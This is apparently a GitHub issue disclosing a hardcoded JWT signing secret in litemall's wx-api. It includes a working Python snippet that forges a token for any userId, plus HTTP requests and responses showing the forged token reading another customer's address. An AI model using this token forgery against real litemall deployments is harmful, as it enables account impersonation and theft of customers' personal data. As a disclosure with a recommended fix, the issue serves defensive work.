Skip to content

Hardcoded JWT signing secret allows full account impersonation #580

Description

@geo-chen

reported via email on 3 June 2026 - no response.

I am writing to report a critical authentication vulnerability in litemall's wx-api that allows any registered customer to impersonate any other customer on the platform.

The JWT signing secret is hardcoded as the string "X-Litemall-Token" in the file litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/util/JwtHelper.java (line 19). This string is also the name of the HTTP header used to carry the token, making it immediately visible to anyone who inspects the source code or API traffic. The secret cannot be rotated or overridden via configuration without recompiling the application.

Because the secret is known, any attacker with a registered account can produce a cryptographically valid JWT for any arbitrary userId and submit it in the X-Litemall-Token header. The server accepts such a forged token as genuine, and the userid embedded in the forged claim becomes the identity used for all ownership checks across the wx-api.

Proof of Concept

I validated this against a local Docker environment running the HEAD commit (a1ef964) with the official docker-compose configuration.

Step 1. Attacker (userId=3) attempts to read victim's address (id=2, userId=1) with their own legitimate token:

GET /wx/address/detail?id=2
X-Litemall-Token: <attacker's real token, userId=3>

Response: {"errno":402,"errmsg":"参数值不对"}

Step 2. Attacker forges a token for userId=1 using the hardcoded secret "X-Litemall-Token":

import jwt, time
payload = {"sub":"this is litemall token","aud":"MINIAPP","iss":"LITEMALL",
           "exp":int(time.time())+7200,"userId":1,"iat":int(time.time())}
forged = jwt.encode(payload, "X-Litemall-Token", algorithm="HS256")

Step 3. Attacker submits the forged token and reads the victim's full delivery address:

GET /wx/address/detail?id=2
X-Litemall-Token: <forged token, userId=1>

Response:
{"errno":0,"data":{"id":2,"name":"Alice Smith","userId":1,"province":"Guangdong",
"city":"Shenzhen","county":"Nanshan","addressDetail":"123 Secret Rd",
"tel":"13800000001","isDefault":true},"errmsg":"成功"}

The same forged token works for order history, cart, coupon list, aftersale records, and all state-modifying endpoints (cancel order, delete address, submit aftersale).

Recommended fix: Replace the hardcoded constant with a randomly-generated secret loaded from an environment variable or configuration file at startup. Existing tokens will be invalidated on restart, requiring users to log in again.

The affected version is all releases through commit a1ef964. I found no public security advisory or patch for this issue.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions